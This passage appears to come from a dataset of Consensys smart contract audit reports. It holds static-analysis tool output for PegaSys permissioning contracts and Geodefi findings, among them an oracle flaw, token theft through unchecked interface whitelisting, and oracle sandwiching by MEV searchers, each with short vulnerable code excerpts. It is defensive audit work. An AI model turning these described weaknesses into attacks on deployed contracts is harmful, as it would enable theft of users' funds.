\"AccountRules\" but does not seem to be used anywhere. SWC-131 Warning 62:8 Unused local variable \"\" The local variable \"\" is created within the contract \"AccountRules\" but does not seem to be used anywhere. SWC-131 Warning 63:8 Unused local variable \"\" The local variable \"\" is created within the contract \"AccountRules\" but does not seem to be used anywhere. SWC-131 Warning 64:8 Unused local variable \"\" The local variable \"\" is created within the contract \"AccountRules\" but does not seem to be used anywhere. SWC-131 Warning 65:8 Unused local variable \"\" The local variable \"\" is created within the contract \"AccountRules\" but does not seem to be used anywhere. SWC-131 AccountRulesList.sol - 2 problems (0 errors, 2 warnings) Warning 15:4 A reachable exception has been detected. It is possible to trigger an exception (opcode 0xfe). Exceptions can be caused by type errors, division by zero, out-of-bounds array access, or assert violations. Note that explicit assert() should only be used to check invariants. Use require() for regular input checking. SWC-110 Warning 36:8 Potential denial-of-service if block gas limit is reached. A storage modification is executed in a loop. Be aware that the transaction may fail to execute if the loop is unbounded and the necessary gas exceeds the block gas limit. SWC-128 AccountRulesProxy.sol - 12 problems (0 errors, 12 warnings) Warning 5:8 Unused local variable \"sender\" The local variable \"sender\" is created within the contract \"AccountRulesProxy\" but does not seem to be used anywhere. SWC-131 Warning 5:8 Unused local variable \"sender\" The local variable \"sender\" is created within the contract \"AccountRules\" but does not seem to be used anywhere. SWC-131 Warning 6:8 Unused local variable \"target\" The local variable \"target\" is created within the contract \"AccountRules\" but does not seem to be used anywhere. SWC-131 Warning 6:8 Unused local variable \"target\" The local variable \"target\" is created within the contract \"AccountRulesProxy\" but does not seem to be used anywhere. SWC-131 Warning 7:8 Unused local variable \"value\" The local variable \"value\" is created within the contract \"AccountRules\" but does not seem to be used anywhere. SWC-131 Warning 7:8 Unused local variable \"value\" The local variable \"value\" is created within the contract \"AccountRulesProxy\" but does not seem to be used anywhere. SWC-131 Warning 8:8 Unused local variable \"gasPrice\" The local variable \"gasPrice\" is created within the contract \"AccountRules\" but does not seem to be used anywhere. SWC-131 Warning 8:8 Unused local variable \"gasPrice\" The local variable \"gasPrice\" is created within the contract \"AccountRulesProxy\" but does not seem to be used anywhere. SWC-131 Warning 9:8 Unused local variable \"gasLimit\" The local variable \"gasLimit\" is created within the contract \"AccountRules\" but does not seem to be used anywhere. SWC-131 Warning 9:8 Unused local variable \"gasLimit\" The local variable \"gasLimit\" is created within the contract \"AccountRulesProxy\" but does not seem to be used anywhere. SWC-131 Warning 10:8 Unused local variable \"payload\" The local variable \"payload\" is created within the contract \"AccountRules\" but does not seem to be used anywhere. SWC-131 Warning 10:8 Unused local variable \"payload\" The local variable \"payload\" is created within the contract \"AccountRulesProxy\" but does not seem to be used anywhere. SWC-131 AdminList.sol - 3 problems (0 errors, 3 warnings) Warning 17:4 A reachable exception has been detected. It is possible to trigger an exception (opcode 0xfe). Exceptions can be caused by type errors, division by zero, out-of-bounds array access, or assert violations. Note that explicit assert() should only be used to check invariants. Use require() for regular input checking. SWC-110 Warning 38:8 Potential denial-of-service if block gas limit is reached. A storage modification is executed in a loop. Be aware that the transaction may fail to execute if the loop is unbounded and the necessary gas exceeds the block gas limit. SWC-128 Warning 42:23 Potential denial-of-service if block gas limit is reached. A storage modification is executed in a loop. Be aware that the transaction may fail to execute if the loop is unbounded and the necessary gas exceeds the block gas limit. SWC-128 AdminProxy.sol - 3 problems (0 errors, 3 warnings) Warning 4:10 precondition violation A precondition was violated. Make sure valid inputs are provided to both callees (e.g, via passed arguments) and callers (e.g., via return values). SWC-123 Warning 4:26 Unused local variable \"source\" The local variable \"source\" is created within the contract \"Admin\" but does not seem to be used anywhere. SWC-131 Warning 4:26 Unused local variable \"source\" The local variable \"source\" is created within the contract \"AdminProxy\" but does not seem to be used anywhere. SWC-131 Ingress.sol - 3 problems (0 errors, 3 warnings) Warning 12:14 The state variable visibility is not set. It is best practice to set the visibility of state variables explicitly. The default visibility for \"contractKeys\" is internal. Other possible visibility values are public and private. SWC-108 Warning 19:40 The state variable visibility is not set. It is best practice to set the visibility of state variables explicitly. The default visibility for \"registry\" is internal. Other possible visibility values are public and private. SWC-108 Warning 35:19 precondition violation A precondition was violated. Make sure valid inputs are provided to both callees (e.g, via passed arguments) and callers (e.g., via return values). SWC-123 NodeRulesList.sol - 1 problem (0 errors, 1 warning) Warning 15:4 assertion violation An assertion was violated. Make sure your program logic is correct (e.g., no division by zero) and that you add appropriate validation for inputs from both callers (e.g, passed arguments) and callees (e.g., return values). SWC-110 NodeIngress.sol - 1 problem (0 errors, 1 warning) Warning 9:9 The state variable visibility is not set. It is best practice to set the visibility of state variables explicitly. The default visibility for \"version\" is internal. Other possible visibility values are public and private. SWC-108 NodeRulesProxy.sol - 8 problems (0 errors, 8 warnings) Warning 5:8 Unused local variable \"sourceEnodeHigh\" The local variable \"sourceEnodeHigh\" is created within the contract \"NodeRulesProxy\" but does not seem to be used anywhere. SWC-131 Warning 6:8 Unused local variable \"sourceEnodeLow\" The local variable \"sourceEnodeLow\" is created within the contract \"NodeRulesProxy\" but does not seem to be used anywhere. SWC-131 Warning 7:8 Unused local variable \"sourceEnodeIp\" The local variable \"sourceEnodeIp\" is created within the contract \"NodeRulesProxy\" but does not seem to be used anywhere. SWC-131 Warning 8:8 Unused local variable \"sourceEnodePort\" The local variable \"sourceEnodePort\" is created within the contract \"NodeRulesProxy\" but does not seem to be used anywhere. SWC-131 Warning 9:8 Unused local variable \"destinationEnodeHigh\" The local variable \"destinationEnodeHigh\" is created within the contract \"NodeRulesProxy\" but does not seem to be used anywhere. SWC-131 Warning 10:8 Unused local variable \"destinationEnodeLow\" The local variable \"destinationEnodeLow\" is created within the contract \"NodeRulesProxy\" but does not seem to be used anywhere. SWC-131 Warning 11:8 Unused local variable \"destinationEnodeIp\" The local variable \"destinationEnodeIp\" is created within the contract \"NodeRulesProxy\" but does not seem to be used anywhere. SWC-131 Warning 12:8 Unused local variable \"destinationEnodePort\" The local variable \"destinationEnodePort\" is created within the contract \"NodeRulesProxy\" but does not seem to be used anywhere. SWC-131 AccountIngress.sol - 0 problems Admin.sol - 0 problems ExposedAccountRulesList.sol - 0 problems ExposedAdminList.sol - 0 problems ExposedNodeRulesList.sol - 0 problems Generated on Thu Aug 29 2019 15:16:37 GMT-0700 (Pacific Daylight Time) MythX Logs: AccountRules.sol UUID: 6db36465-5d19-43b8-8318-20d038616ffb info: skipped automated fuzz testing due to incompatible bytecode input AccountRulesList.sol UUID: 17faa2da-60ed-4e9c-8f76-c9d87ebfa025 AccountRulesProxy.sol UUID: 0579eb33-82ef-4ac7-99e1-948ba46955df Admin.sol UUID: da4012ea-98e3-4116-9ee9-896da7904e7c AdminList.sol UUID: 6a5da947-d87d-4f3a-b3e6-94d76712aa73 AdminProxy.sol UUID: ef18baac-d986-4bcd-aefc-1d0801e214d2 ExposedAccountRulesList.sol UUID: 706738e2-35a4-4def-b7c4-f680920db1a1 ExposedAdminList.sol UUID: ea78f05f-c0f2-46e0-84eb-0168d35fccc4 ExposedNodeRulesList.sol UUID: 33d4d1a4-2f85-4d6d-99c7-dd76c738d305 Ingress.sol UUID: 162745bf-308e-4cc8-a07b-b5e1564f7764 NodeIngress.sol UUID: a40eebe4-d51e-40fd-8b0b-913491e63411 NodeRulesList.sol UUID: c5d7bd11-591d-4bd6-8364-883d8db35bb9 NodeRulesProxy.sol UUID: 851c3349-b9f2-459c-a3ec-5bbd7cb6d616 ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/08/pegasys-permissioning/"}, {"title": "8.2 Ethlint", "body": " Ethlint is an open source project for linting Solidity code. Only security-related issues were reviewed by the audit team. Ethlint didn t find any issues. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/08/pegasys-permissioning/"}, {"title": "8.3 Surya", "body": " Surya is an utility tool for smart contract systems. It provides a number of visual outputs and information about structure of smart contracts. It also supports querying the function call graph in multiple ways to aid in the manual inspection and control flow analysis of contracts. Below is a complete list of functions with their visibility and modifiers: Files Description Table AccountIngress.sol 57207a6878535bc2f3d40216d96f07eef9bbdfd9 AccountRulesList.sol 73ffd92be5b6c3b1e18d1b860344dac578c9aa31 Admin.sol e13931323093f1555f4dfcc74fad6a2c457c1082 AdminProxy.sol eecd073b4e05a4445fb00888074b48c443c5bbf4 Ingress.sol b0fcff06fa7d55136cfe483331280e4e9bb9def4 NodeIngress.sol 3f46f78e4c1b9a546287135a13ffa303f62a826b NodeRulesList.sol fa9382c4cf3f4d800aa3d0e89bb9a712d5aa5f0c AccountRules.sol c730212300e070ed22b1490f6e67347d1f36c051 AccountRulesProxy.sol 1024d00149ee0258f5ee4c0671a09ada723c3645 AdminList.sol 0304e06bfc4c87abc4d2f4c0361633590c5ef830 NodeRules.sol 8f0dc9efd5bc09a8c6346495e23a398c907baf21 NodeRulesProxy.sol 01967d8481a3f1497ecdfcfcd5e7dd2ea9f9c17e Contracts Description Table Function Name Visibility Mutability Modifiers AccountIngress Implementation Ingress getContractVersion Public NO emitRulesChangeEvent Public NO transactionAllowed Public NO AccountRulesList Implementation size Internal \ud83d\udd12 exists Internal \ud83d\udd12 add Internal \ud83d\udd12 addAll Internal \ud83d\udd12 remove Internal \ud83d\udd12 Admin Implementation AdminProxy, AdminList Public isAuthorized Public NO addAdmin Public onlyAdmin removeAdmin Public onlyAdmin notSelf getAdmins Public NO addAdmins Public onlyAdmin AdminProxy Interface isAuthorized External NO Ingress Implementation getContractAddress Public NO isAuthorized Public NO setContractAddress Public NO removeContract Public NO getAllContractKeys Public NO NodeIngress Implementation Ingress getContractVersion Public NO emitRulesChangeEvent Public NO connectionAllowed Public NO NodeRulesList Implementation calculateKey Internal \ud83d\udd12 size Internal \ud83d\udd12 exists Internal \ud83d\udd12 add Internal \ud83d\udd12 remove Internal \ud83d\udd12 AccountRules Implementation AccountRulesProxy, AccountRulesList Public getContractVersion Public NO isReadOnly Public NO enterReadOnly Public onlyAdmin exitReadOnly Public onlyAdmin transactionAllowed Public NO accountInWhitelist Public NO addAccount Public onlyAdmin onlyOnEditMode removeAccount Public onlyAdmin onlyOnEditMode getSize Public NO getByIndex Public NO getAccounts Public NO addAccounts Public onlyAdmin AccountRulesProxy Interface transactionAllowed External NO AdminList Implementation size Internal \ud83d\udd12 exists Internal \ud83d\udd12 add Internal \ud83d\udd12 addAll Internal \ud83d\udd12 remove Internal \ud83d\udd12 NodeRules Implementation NodeRulesProxy, NodeRulesList Public getContractVersion Public NO isReadOnly Public NO enterReadOnly Public onlyAdmin exitReadOnly Public onlyAdmin connectionAllowed Public NO enodeInWhitelist Public NO addEnode Public onlyAdmin onlyOnEditMode removeEnode Public onlyAdmin onlyOnEditMode getSize Public NO getByIndex Public NO triggerRulesChangeEvent Public NO NodeRulesProxy Interface connectionAllowed External NO Legend Function can modify state Function is payable ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/08/pegasys-permissioning/"}, {"title": "8.4 Slither", "body": " Slither is a Solidity static analysis framework written in Python 3. It runs a suite of vulnerability detectors. Below is the raw output of the Slither scan: INFO:Detectors: Pragma version \">=0.4.22<0.6.0\" allows old versions (ExposedAdminList.sol#1) Pragma version \">=0.4.22<0.6.0\" allows old versions (AccountRules.sol#1) Pragma version \">=0.4.22<0.6.0\" allows old versions (AccountRulesList.sol#1) Pragma version \">=0.4.22<0.6.0\" allows old versions (Ingress.sol#1) Pragma version \">=0.4.22<0.6.0\" allows old versions (NodeRules.sol#1) Pragma version \">=0.4.22<0.6.0\" allows old versions (AdminProxy.sol#1) Pragma version \">=0.4.22<0.6.0\" allows old versions (NodeRulesProxy.sol#1) Pragma version \">=0.4.22<0.6.0\" allows old versions (ExposedNodeRulesList.sol#1) Pragma version \">=0.4.22<0.6.0\" allows old versions (AdminList.sol#1) Pragma version \">=0.4.22<0.6.0\" allows old versions (ExposedAccountRulesList.sol#1) Pragma version \">=0.4.22<0.6.0\" allows old versions (Admin.sol#1) Pragma version \">=0.4.22<0.6.0\" allows old versions (Migrations.sol#1) Pragma version \">=0.4.22<0.6.0\" allows old versions (NodeIngress.sol#1) Pragma version \">=0.4.22<0.6.0\" allows old versions (AccountRulesProxy.sol#1) Pragma version \">=0.4.22<0.6.0\" allows old versions (AccountIngress.sol#1) Pragma version \">=0.4.22<0.6.0\" allows old versions (NodeRulesList.sol#1) Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity INFO:Detectors: Function 'ExposedAdminList._size()' (ExposedAdminList.sol#9-11) is not in mixedCase Function 'ExposedAdminList._exists(address)' (ExposedAdminList.sol#13-15) is not in mixedCase Parameter '_address' of _address (ExposedAdminList.sol#13) is not in mixedCase Function 'ExposedAdminList._add(address)' (ExposedAdminList.sol#17-19) is not in mixedCase Parameter '_address' of _address (ExposedAdminList.sol#17) is not in mixedCase Function 'ExposedAdminList._remove(address)' (ExposedAdminList.sol#21-23) is not in mixedCase Parameter '_address' of _address (ExposedAdminList.sol#21) is not in mixedCase Function 'ExposedAdminList._addBatch(address[])' (ExposedAdminList.sol#25-27) is not in mixedCase Parameter '_addresses' of _addresses (ExposedAdminList.sol#25) is not in mixedCase Parameter '_account' of _account (AccountRules.sol#77) is not in mixedCase Parameter '_account' of _account (AccountRulesList.sol#22) is not in mixedCase Parameter '_account' of _account (AccountRulesList.sol#26) is not in mixedCase Parameter '_account' of _account (AccountRulesList.sol#45) is not in mixedCase Variable 'Ingress.RULES_CONTRACT' (Ingress.sol#8) is not in mixedCase Variable 'Ingress.ADMIN_CONTRACT' (Ingress.sol#9) is not in mixedCase Function 'ExposedNodeRulesList._calculateKey(bytes32,bytes32,bytes16,uint16)' (ExposedNodeRulesList.sol#8-10) is not in mixedCase Parameter '_enodeHigh' of _enodeHigh (ExposedNodeRulesList.sol#8) is not in mixedCase Parameter '_enodeLow' of _enodeLow (ExposedNodeRulesList.sol#8) is not in mixedCase Parameter '_ip' of _ip (ExposedNodeRulesList.sol#8) is not in mixedCase Parameter '_port' of _port (ExposedNodeRulesList.sol#8) is not in mixedCase Function 'ExposedNodeRulesList._size()' (ExposedNodeRulesList.sol#12-14) is not in mixedCase Function 'ExposedNodeRulesList._exists(bytes32,bytes32,bytes16,uint16)' (ExposedNodeRulesList.sol#16-18) is not in mixedCase Parameter '_enodeHigh' of _enodeHigh (ExposedNodeRulesList.sol#16) is not in mixedCase Parameter '_enodeLow' of _enodeLow (ExposedNodeRulesList.sol#16) is not in mixedCase Parameter '_ip' of _ip (ExposedNodeRulesList.sol#16) is not in mixedCase Parameter '_port' of _port (ExposedNodeRulesList.sol#16) is not in mixedCase Function 'ExposedNodeRulesList._add(bytes32,bytes32,bytes16,uint16)' (ExposedNodeRulesList.sol#20-22) is not in mixedCase Parameter '_enodeHigh' of _enodeHigh (ExposedNodeRulesList.sol#20) is not in mixedCase Parameter '_enodeLow' of _enodeLow (ExposedNodeRulesList.sol#20) is not in mixedCase Parameter '_ip' of _ip (ExposedNodeRulesList.sol#20) is not in mixedCase Parameter '_port' of _port (ExposedNodeRulesList.sol#20) is not in mixedCase Function 'ExposedNodeRulesList._remove(bytes32,bytes32,bytes16,uint16)' (ExposedNodeRulesList.sol#24-26) is not in mixedCase Parameter '_enodeHigh' of _enodeHigh (ExposedNodeRulesList.sol#24) is not in mixedCase Parameter '_enodeLow' of _enodeLow (ExposedNodeRulesList.sol#24) is not in mixedCase Parameter '_ip' of _ip (ExposedNodeRulesList.sol#24) is not in mixedCase Parameter '_port' of _port (ExposedNodeRulesList.sol#24) is not in mixedCase Parameter '_account' of _account (AdminList.sol#24) is not in mixedCase Parameter '_account' of _account (AdminList.sol#28) is not in mixedCase Parameter '_account' of _account (AdminList.sol#56) is not in mixedCase Function 'ExposedAccountRulesList._size()' (ExposedAccountRulesList.sol#8-10) is not in mixedCase Function 'ExposedAccountRulesList._exists(address)' (ExposedAccountRulesList.sol#12-14) is not in mixedCase Parameter '_account' of _account (ExposedAccountRulesList.sol#12) is not in mixedCase Function 'ExposedAccountRulesList._add(address)' (ExposedAccountRulesList.sol#16-18) is not in mixedCase Parameter '_account' of _account (ExposedAccountRulesList.sol#16) is not in mixedCase Function 'ExposedAccountRulesList._addAll(address[])' (ExposedAccountRulesList.sol#20-22) is not in mixedCase Function 'ExposedAccountRulesList._remove(address)' (ExposedAccountRulesList.sol#24-26) is not in mixedCase Parameter '_account' of _account (ExposedAccountRulesList.sol#24) is not in mixedCase Parameter '_address' of _address (Admin.sol#22) is not in mixedCase Parameter '_address' of _address (Admin.sol#26) is not in mixedCase Parameter '_address' of _address (Admin.sol#38) is not in mixedCase Parameter 'new_address' of new_address (Migrations.sol#20) is not in mixedCase Variable 'Migrations.last_completed_migration' (Migrations.sol#6) is not in mixedCase Struct 'NodeRulesList.enode' (NodeRulesList.sol#8-13) is not in CapWords Parameter '_enodeHigh' of _enodeHigh (NodeRulesList.sol#18) is not in mixedCase Parameter '_enodeLow' of _enodeLow (NodeRulesList.sol#18) is not in mixedCase Parameter '_ip' of _ip (NodeRulesList.sol#18) is not in mixedCase Parameter '_port' of _port (NodeRulesList.sol#18) is not in mixedCase Parameter '_enodeHigh' of _enodeHigh (NodeRulesList.sol#26) is not in mixedCase Parameter '_enodeLow' of _enodeLow (NodeRulesList.sol#26) is not in mixedCase Parameter '_ip' of _ip (NodeRulesList.sol#26) is not in mixedCase Parameter '_port' of _port (NodeRulesList.sol#26) is not in mixedCase Parameter '_enodeHigh' of _enodeHigh (NodeRulesList.sol#30) is not in mixedCase Parameter '_enodeLow' of _enodeLow (NodeRulesList.sol#30) is not in mixedCase Parameter '_ip' of _ip (NodeRulesList.sol#30) is not in mixedCase Parameter '_port' of _port (NodeRulesList.sol#30) is not in mixedCase Parameter '_enodeHigh' of _enodeHigh (NodeRulesList.sol#39) is not in mixedCase Parameter '_enodeLow' of _enodeLow (NodeRulesList.sol#39) is not in mixedCase Parameter '_ip' of _ip (NodeRulesList.sol#39) is not in mixedCase Parameter '_port' of _port (NodeRulesList.sol#39) is not in mixedCase Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#conformance-to-solidity-naming-conventions INFO:Detectors: AccountRules.slitherConstructorVariables (AccountRules.sol#9-113) uses literals with too many digits: version = 1000000 NodeRules.slitherConstructorVariables (NodeRules.sol#9-170) uses literals with too many digits: version = 1000000 NodeIngress.getContractAddress (Ingress.sol#26-29) uses literals with too many digits: require(bool,string)(name > 0x0000000000000000000000000000000000000000000000000000000000000000,Contract name must not be empty.) NodeIngress.setContractAddress (Ingress.sol#39-62) uses literals with too many digits: require(bool,string)(name > 0x0000000000000000000000000000000000000000000000000000000000000000,Contract name must not be empty.) NodeIngress.removeContract (Ingress.sol#64-81) uses literals with too many digits: require(bool,string)(name > 0x0000000000000000000000000000000000000000000000000000000000000000,Contract name must not be empty.) NodeIngress.slitherConstructorVariables (NodeIngress.sol#7-49) uses literals with too many digits: RULES_CONTRACT = 0x72756c6573000000000000000000000000000000000000000000000000000000 NodeIngress.slitherConstructorVariables (NodeIngress.sol#7-49) uses literals with too many digits: ADMIN_CONTRACT = 0x61646d696e697374726174696f6e000000000000000000000000000000000000 NodeIngress.slitherConstructorVariables (NodeIngress.sol#7-49) uses literals with too many digits: version = 1000000 AccountIngress.getContractAddress (Ingress.sol#26-29) uses literals with too many digits: require(bool,string)(name > 0x0000000000000000000000000000000000000000000000000000000000000000,Contract name must not be empty.) AccountIngress.setContractAddress (Ingress.sol#39-62) uses literals with too many digits: require(bool,string)(name > 0x0000000000000000000000000000000000000000000000000000000000000000,Contract name must not be empty.) AccountIngress.removeContract (Ingress.sol#64-81) uses literals with too many digits: require(bool,string)(name > 0x0000000000000000000000000000000000000000000000000000000000000000,Contract name must not be empty.) AccountIngress.slitherConstructorVariables (AccountIngress.sol#7-40) uses literals with too many digits: RULES_CONTRACT = 0x72756c6573000000000000000000000000000000000000000000000000000000 AccountIngress.slitherConstructorVariables (AccountIngress.sol#7-40) uses literals with too many digits: ADMIN_CONTRACT = 0x61646d696e697374726174696f6e000000000000000000000000000000000000 AccountIngress.slitherConstructorVariables (AccountIngress.sol#7-40) uses literals with too many digits: version = 1000000 Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#too-many-digits INFO:Detectors: AccountIngress.version should be constant (AccountIngress.sol#9) AccountRules.version should be constant (AccountRules.sol#14) Ingress.ADMIN_CONTRACT should be constant (Ingress.sol#9) Ingress.RULES_CONTRACT should be constant (Ingress.sol#8) NodeIngress.version should be constant (NodeIngress.sol#9) NodeRules.version should be constant (NodeRules.sol#30) Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#state-variables-that-could-be-declared-constant INFO:Detectors: ExposedAdminList._size() (ExposedAdminList.sol#9-11) should be declared external ExposedAdminList._exists(address) (ExposedAdminList.sol#13-15) should be declared external ExposedAdminList._add(address) (ExposedAdminList.sol#17-19) should be declared external ExposedAdminList._remove(address) (ExposedAdminList.sol#21-23) should be declared external ExposedAdminList._addBatch(address[]) (ExposedAdminList.sol#25-27) should be declared external AccountRules.getContractVersion() (AccountRules.sol#38-40) should be declared external AccountRules.isReadOnly() (AccountRules.sol#43-45) should be declared external AccountRules.enterReadOnly() (AccountRules.sol#47-51) should be declared external AccountRules.exitReadOnly() (AccountRules.sol#53-57) should be declared external AccountRules.transactionAllowed(address,address,uint256,uint256,uint256,bytes) (AccountRules.sol#59-74) should be declared external AccountRulesProxy.transactionAllowed(address,address,uint256,uint256,uint256,bytes) (AccountRulesProxy.sol#4-11) should be declared external AccountRules.addAccount(address) (AccountRules.sol#82-88) should be declared external AccountRules.removeAccount(address) (AccountRules.sol#90-96) should be declared external AccountRules.getSize() (AccountRules.sol#98-100) should be declared external AccountRules.getByIndex(uint256) (AccountRules.sol#102-104) should be declared external AccountRules.getAccounts() (AccountRules.sol#106-108) should be declared external AccountRules.addAccounts(address[]) (AccountRules.sol#110-112) should be declared external Ingress.setContractAddress(bytes32,address) (Ingress.sol#39-62) should be declared external Ingress.removeContract(bytes32) (Ingress.sol#64-81) should be declared external Ingress.getAllContractKeys() (Ingress.sol#83-85) should be declared external NodeRules.getContractVersion() (NodeRules.sol#53-55) should be declared external NodeRules.isReadOnly() (NodeRules.sol#58-60) should be declared external NodeRules.enterReadOnly() (NodeRules.sol#62-66) should be declared external NodeRules.exitReadOnly() (NodeRules.sol#68-72) should be declared external NodeRulesProxy.connectionAllowed(bytes32,bytes32,bytes16,uint16,bytes32,bytes32,bytes16,uint16) (NodeRulesProxy.sol#4-13) should be declared external NodeRules.connectionAllowed(bytes32,bytes32,bytes16,uint16,bytes32,bytes32,bytes16,uint16) (NodeRules.sol#74-101) should be declared external NodeRules.addEnode(bytes32,bytes32,bytes16,uint16) (NodeRules.sol#112-132) should be declared external NodeRules.removeEnode(bytes32,bytes32,bytes16,uint16) (NodeRules.sol#134-154) should be declared external NodeRules.getSize() (NodeRules.sol#156-158) should be declared external NodeRules.getByIndex(uint256) (NodeRules.sol#160-165) should be declared external ExposedNodeRulesList._calculateKey(bytes32,bytes32,bytes16,uint16) (ExposedNodeRulesList.sol#8-10) should be declared external ExposedNodeRulesList._size() (ExposedNodeRulesList.sol#12-14) should be declared external ExposedNodeRulesList._exists(bytes32,bytes32,bytes16,uint16) (ExposedNodeRulesList.sol#16-18) should be declared external ExposedNodeRulesList._add(bytes32,bytes32,bytes16,uint16) (ExposedNodeRulesList.sol#20-22) should be declared external ExposedNodeRulesList._remove(bytes32,bytes32,bytes16,uint16) (ExposedNodeRulesList.sol#24-26) should be declared external ExposedAccountRulesList._size() (ExposedAccountRulesList.sol#8-10) should be declared external ExposedAccountRulesList._exists(address) (ExposedAccountRulesList.sol#12-14) should be declared external ExposedAccountRulesList._add(address) (ExposedAccountRulesList.sol#16-18) should be declared external ExposedAccountRulesList._addAll(address[]) (ExposedAccountRulesList.sol#20-22) should be declared external ExposedAccountRulesList._remove(address) (ExposedAccountRulesList.sol#24-26) should be declared external Admin.addAdmin(address) (Admin.sol#26-36) should be declared external Admin.removeAdmin(address) (Admin.sol#38-42) should be declared external Admin.getAdmins() (Admin.sol#44-46) should be declared external Admin.addAdmins(address[]) (Admin.sol#48-50) should be declared external Migrations.setCompleted(uint256) (Migrations.sol#16-18) should be declared external Migrations.upgrade(address) (Migrations.sol#20-23) should be declared external NodeIngress.getContractVersion() (NodeIngress.sol#15-17) should be declared external NodeIngress.emitRulesChangeEvent(bool) (NodeIngress.sol#19-22) should be declared external NodeIngress.connectionAllowed(bytes32,bytes32,bytes16,uint16,bytes32,bytes32,bytes16,uint16) (NodeIngress.sol#24-48) should be declared external AccountIngress.getContractVersion() (AccountIngress.sol#15-17) should be declared external AccountIngress.emitRulesChangeEvent(bool) (AccountIngress.sol#19-22) should be declared external AccountIngress.transactionAllowed(address,address,uint256,uint256,uint256,bytes) (AccountIngress.sol#24-39) should be declared external Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#public-function-that-could-be-declared-as-external INFO:Slither:. analyzed (16 contracts), 157 result(s) found ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/08/pegasys-permissioning/"}, {"title": "5.1 Oracle s _sanityCheck for prices will not work with slashing ", "body": " Description The _sanityCheck is verifying that the new price didn t change significantly: code/contracts/Portal/utils/OracleUtilsLib.sol:L405-L417 uint256 maxPrice = curPrice + ((curPrice * self.PERIOD_PRICE_INCREASE_LIMIT * _periodsSinceUpdate) / PERCENTAGE_DENOMINATOR); uint256 minPrice = curPrice - ((curPrice * self.PERIOD_PRICE_DECREASE_LIMIT * _periodsSinceUpdate) / PERCENTAGE_DENOMINATOR); require( _newPrice >= minPrice && _newPrice <= maxPrice, \"OracleUtils: price is insane\" While the rewards of staking can be reasonably predicted, the balances may also be changed due to slashing. So any slashing event should reduce the price, and if enough ETH is slashed, the price will drop heavily. The oracle will not be updated because of a sanity check. After that, there will be an arbitrage opportunity, and everyone will be incentivized to withdraw as soon as possible. That process will inevitably devaluate gETH to zero. The severity of this issue is also amplified by the fact that operators have no skin in the game and won t lose anything from slashing. Recommendation Make sure that slashing can be adequately processed when updating the price. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2022/11/geodefi/"}, {"title": "5.2 Multiple calculation mistakes in the _findPricesClearBuffer function ", "body": " Description The _findPricesClearBuffer function is designed to calculate the gETH/ETH prices. The first one (oracle price) is the price at the reference point, for ease of calculation let s assume it is midnight. The second price is the price at the time the reportOracle is called. code/contracts/Portal/utils/OracleUtilsLib.sol:L388 return (unbufferedEther / unbufferedSupply, totalEther / supply); To calculate the oracle price at midnight, the current ETH balance is reduced by all the minted gETH (converted to ETH with the old price) and increased by all the burnt gETH (converted to ETH with the old price) starting from midnight to the time transaction is being executed: code/contracts/Portal/utils/OracleUtilsLib.sol:L368-L374 uint256 unbufferedEther = totalEther - (DATASTORE.readUintForId(_poolId, _dailyBufferMintKey) * price) / self.gETH.totalSupply(_poolId); unbufferedEther += (DATASTORE.readUintForId(_poolId, _dailyBufferBurnKey) * price) / self.gETH.denominator(); But in the first calculation, the self.gETH.totalSupply(_poolId) is mistakenly used instead of self.gETH.denominator(). This can lead to the unbufferedEther being much larger, and the eventual oracle price will be much larger too. There is another serious calculation mistake. In the end, the function returns the following line: code/contracts/Portal/utils/OracleUtilsLib.sol:L388 return (unbufferedEther / unbufferedSupply, totalEther / supply); But none of these values are multiplied by self.gETH.denominator(); so they are in the same range. Both values will usually be around 1. While the actual price value should be multiplied by self.gETH.denominator();. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2022/11/geodefi/"}, {"title": "5.3 New interfaces can add malicious code without any delay or check ", "body": " Description Geode Finance uses an interesting system of contracts for each individual staked ETH derivative. At the base of it all is an ERC1155 gETH contract where planet id acts as a token id. To make it more compatible with the rest of DeFi the Geode team pairs it up with an ERC20 contract that users would normally interact with and where all the allowances are stored. Naturally, since the balances are stored in the gETH contract, ERC20 interfaces need to ask gETH contract to update the balance. It is done in a way where the gETH contract will perform any transfer requested by the interface since the interface is expected to do all the checks and accountings. The issue comes with the fact that planet maintainers can whitelist new interfaces and that process does not require any approval. Planet maintainers could whitelist an interface that will send all the available tokens to the maintainer s wallet for example. This essentially allows Planet maintainers to steal all derivative tokens in circulation in one transaction. Examples code/contracts/Portal/utils/StakeUtilsLib.sol:L165-L173 function setInterface( StakePool storage self, DataStoreUtils.DataStore storage DATASTORE, uint256 id, address _interface ) external { DATASTORE.authenticate(id, true, [false, true, true]); _setInterface(self, DATASTORE, id, _interface); Recommendation gETH.sol contract has a concept of avoiders. One of the ways to fix this issue is to have the avoidance be set on a per-interface basis and avoiding new interfaces by default. This way users will need to allow the new tokens to access the balances. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2022/11/geodefi/"}, {"title": "5.4 MiniGovernance - fetchUpgradeProposal will always revert ", "body": " Description In the function fetchUpgradeProposal(), newProposal() is called with a hard coded duration of 4 weeks. This means the function will always revert since newProposal() checks that the proposal duration is not more than the constant MAX_PROPOSAL_DURATION of 2 weeks. Effectively, this leaves MiniGovernance non-upgradeable. Examples code/contracts/Portal/MiniGovernance/MiniGovernance.sol:L183 GEM.newProposal(proposal.CONTROLLER, 2, proposal.NAME, 4 weeks); code/contracts/Portal/utils/GeodeUtilsLib.sol:L328-L331 require( duration <= MAX_PROPOSAL_DURATION, \"GeodeUtils: duration exceeds MAX_PROPOSAL_DURATION\" ); Recommendation Switch the hard coded proposal duration to 2 weeks. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2022/11/geodefi/"}, {"title": "5.5 reportOracle can be sandwiched for profit. ", "body": " Description The fact that price update happens in an on-chain transaction gives the searches the ability to see the future price and then act accordingly. Examples MEV searcher can find the reportOracle transaction in the mem-pool and if the price is about to increase he could proceed to mint as much gETH as he 